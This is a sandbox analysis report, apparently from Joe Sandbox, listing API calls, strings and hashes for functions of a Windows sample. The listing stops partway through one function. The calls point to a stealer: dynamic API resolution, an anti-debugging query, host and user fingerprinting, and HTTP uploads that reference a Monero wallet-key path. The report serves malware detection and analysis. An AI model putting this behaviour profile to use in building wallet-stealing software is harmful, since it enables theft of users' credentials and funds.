Function 00B09860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,018A1698), ref: 00B098A1
GetProcAddress.KERNEL32(76210000,018A15F0), ref: 00B098BA
GetProcAddress.KERNEL32(76210000,018A14E8), ref: 00B098D2
GetProcAddress.KERNEL32(76210000,018A15D8), ref: 00B098EA
GetProcAddress.KERNEL32(76210000,018A16B0), ref: 00B09903
GetProcAddress.KERNEL32(76210000,018A8C38), ref: 00B0991B
GetProcAddress.KERNEL32(76210000,01895048), ref: 00B09933
GetProcAddress.KERNEL32(76210000,01895068), ref: 00B0994C
GetProcAddress.KERNEL32(76210000,018A16C8), ref: 00B09964
GetProcAddress.KERNEL32(76210000,018A1758), ref: 00B0997C
GetProcAddress.KERNEL32(76210000,018A1650), ref: 00B09995
GetProcAddress.KERNEL32(76210000,018A1608), ref: 00B099AD
GetProcAddress.KERNEL32(76210000,01895248), ref: 00B099C5
GetProcAddress.KERNEL32(76210000,018A15A8), ref: 00B099DE
GetProcAddress.KERNEL32(76210000,018A1560), ref: 00B099F6
GetProcAddress.KERNEL32(76210000,01895088), ref: 00B09A0E
GetProcAddress.KERNEL32(76210000,018A1710), ref: 00B09A27
GetProcAddress.KERNEL32(76210000,018A1578), ref: 00B09A3F
GetProcAddress.KERNEL32(76210000,01894F68), ref: 00B09A57
GetProcAddress.KERNEL32(76210000,018A1530), ref: 00B09A70
GetProcAddress.KERNEL32(76210000,01895208), ref: 00B09A88
LoadLibraryA.KERNEL32(018A1548,?,00B06A00), ref: 00B09A9A
LoadLibraryA.KERNEL32(018A15C0,?,00B06A00), ref: 00B09AAB
LoadLibraryA.KERNEL32(018A17A0,?,00B06A00), ref: 00B09ABD
LoadLibraryA.KERNEL32(018A1620,?,00B06A00), ref: 00B09ACF
LoadLibraryA.KERNEL32(018A1638,?,00B06A00), ref: 00B09AE0
GetProcAddress.KERNEL32(75B30000,018A1668), ref: 00B09B02
GetProcAddress.KERNEL32(751E0000,018A1728), ref: 00B09B23
GetProcAddress.KERNEL32(751E0000,018A1680), ref: 00B09B3B
GetProcAddress.KERNEL32(76910000,018A8DE8), ref: 00B09B5D
GetProcAddress.KERNEL32(75670000,018952A8), ref: 00B09B7E
GetProcAddress.KERNEL32(77310000,018A8BA8), ref: 00B09B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00B09BB6

Strings

NtQueryInformationProcess, xrefs: 00B09BAA

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: b525d5dd9b035bbee8c7c650177b8296c98ffb163332f5263fef8e5b8f5258db
Instruction ID: 8ae2ba77d36f321ef0679274d41a7e659e5f99ca65ab7006fca3a319692e3728
Opcode Fuzzy Hash: b525d5dd9b035bbee8c7c650177b8296c98ffb163332f5263fef8e5b8f5258db
Instruction Fuzzy Hash: C2A12AB6704340AFD344EFACED88A663BF9F75C301708851AA689C3364D779A841CB72

Function 00AF45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00AF460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00AF479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4734

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: c83dc9dc944c1df92fdd70778a185d08e1b37407b1311d5184a3d4301360fed6
Instruction ID: 216382ec7d323667c8356f0ebcdea99ad500838a353e3c0e0754db9dfa2a760d
Opcode Fuzzy Hash: c83dc9dc944c1df92fdd70778a185d08e1b37407b1311d5184a3d4301360fed6
Instruction Fuzzy Hash: AA41F3607EB70DABCE74FBA4984EEED77A25F86710FD85088EC4092294CBB055C4C52E

Function 00AF4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AF4839
Part of subcall function 00AF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AF4849

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00AF4915
StrCmpCA.SHLWAPI(?,018AFBE0), ref: 00AF493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AF4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00B10DDB,00000000,?,?,00000000,?,",00000000,?,018AFCD0), ref: 00AF4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00AF4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00AF4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00AF4E49
InternetCloseHandle.WININET(00000000), ref: 00AF4EAD
InternetCloseHandle.WININET(00000000), ref: 00AF4EC5
HttpOpenRequestA.WININET(00000000,018AFBF0,?,018AF500,00000000,00000000,00400100,00000000), ref: 00AF4B15

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

InternetCloseHandle.WININET(00000000), ref: 00AF4ECF

Strings

------, xrefs: 00AF4B28
------, xrefs: 00AF49BD
", xrefs: 00AF4D33
------, xrefs: 00AF4C69
", xrefs: 00AF4BF2

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: a1a8b3f1e11908c1f73529fbc1ee02b4cebbfc15469f9e135cc524260d379f53
Instruction ID: ef2f7745518df92a22dc1186b79ddbe10c005c94baa3f09eced3c3969c8072e7
Opcode Fuzzy Hash: a1a8b3f1e11908c1f73529fbc1ee02b4cebbfc15469f9e135cc524260d379f53
Instruction Fuzzy Hash: F512AA71910318AADB15EB94DD92FEEBBB8AF14300F5085D9B106B20D1EF706F49CB62

Function 00B078E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07910
RtlAllocateHeap.NTDLL(00000000), ref: 00B07917
GetComputerNameA.KERNEL32(?,00000104), ref: 00B0792F

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 510e42a944ba5cb74a2280f0687e65acb802f93da8f0d479a50dff604011fd7c
Instruction ID: b06dba6283df65accc9f797a1adc5f4253604eb18f1bbd7c4f4714be2e6f3352
Opcode Fuzzy Hash: 510e42a944ba5cb74a2280f0687e65acb802f93da8f0d479a50dff604011fd7c
Instruction Fuzzy Hash: C3011DB1A44209EFC710DF99DD45BAAFBF8FB04B21F10429AFA45E23D0D77469448BA1

Function 00B07850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00AF11B7), ref: 00B07880
RtlAllocateHeap.NTDLL(00000000), ref: 00B07887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B0789F

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 013bfed2eb1f1c46dd8afa08cdd77e0ff797b5eacc715e6f5d09db83bcfdfa04
Instruction ID: 191bda980c41e6d0a3de3475d550c98db266eff7fd7d766aeaa06307ae4eb328
Opcode Fuzzy Hash: 013bfed2eb1f1c46dd8afa08cdd77e0ff797b5eacc715e6f5d09db83bcfdfa04
Instruction Fuzzy Hash: 53F04FB1E44208ABC700DF99DD49BAEFBB8EB04721F10025AFA05E27C0C7B419048BA1

Function 00AF1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00AF116A
ExitProcess.KERNEL32 ref: 00AF117E

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: ab884df28ed3231a6644d002dbd9443a10131646d35f340f975c1098ff17046f
Instruction ID: c59c88f59c108729aeb567d272035c5d7cdf199c61144622fcd69c40bfd23800
Opcode Fuzzy Hash: ab884df28ed3231a6644d002dbd9443a10131646d35f340f975c1098ff17046f
Instruction Fuzzy Hash: 07D05EB4A0030CDBCB00DFE4DC896EDBB78FB08321F000658E905A2340EA315491CAB6

Function 00B09C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,01894FE8), ref: 00B09C2D
GetProcAddress.KERNEL32(76210000,01895148), ref: 00B09C45
GetProcAddress.KERNEL32(76210000,018A9028), ref: 00B09C5E
GetProcAddress.KERNEL32(76210000,018A9040), ref: 00B09C76
GetProcAddress.KERNEL32(76210000,018A9058), ref: 00B09C8E
GetProcAddress.KERNEL32(76210000,018ADCA0), ref: 00B09CA7
GetProcAddress.KERNEL32(76210000,0189A720), ref: 00B09CBF
GetProcAddress.KERNEL32(76210000,018ADD30), ref: 00B09CD7
GetProcAddress.KERNEL32(76210000,018ADD00), ref: 00B09CF0
GetProcAddress.KERNEL32(76210000,018ADC88), ref: 00B09D08
GetProcAddress.KERNEL32(76210000,018ADCB8), ref: 00B09D20
GetProcAddress.KERNEL32(76210000,018950E8), ref: 00B09D39
GetProcAddress.KERNEL32(76210000,018951C8), ref: 00B09D51
GetProcAddress.KERNEL32(76210000,01895008), ref: 00B09D69
GetProcAddress.KERNEL32(76210000,01895108), ref: 00B09D82
GetProcAddress.KERNEL32(76210000,018ADB08), ref: 00B09D9A
GetProcAddress.KERNEL32(76210000,018ADC70), ref: 00B09DB2
GetProcAddress.KERNEL32(76210000,0189A770), ref: 00B09DCB
GetProcAddress.KERNEL32(76210000,01894F48), ref: 00B09DE3
GetProcAddress.KERNEL32(76210000,018ADB98), ref: 00B09DFB
GetProcAddress.KERNEL32(76210000,018ADCD0), ref: 00B09E14
GetProcAddress.KERNEL32(76210000,018ADD48), ref: 00B09E2C
GetProcAddress.KERNEL32(76210000,018ADBB0), ref: 00B09E44
GetProcAddress.KERNEL32(76210000,018952C8), ref: 00B09E5D
GetProcAddress.KERNEL32(76210000,018ADD90), ref: 00B09E75
GetProcAddress.KERNEL32(76210000,018ADD78), ref: 00B09E8D
GetProcAddress.KERNEL32(76210000,018ADCE8), ref: 00B09EA6
GetProcAddress.KERNEL32(76210000,018ADD18), ref: 00B09EBE
GetProcAddress.KERNEL32(76210000,018ADAC0), ref: 00B09ED6
GetProcAddress.KERNEL32(76210000,018ADAD8), ref: 00B09EEF
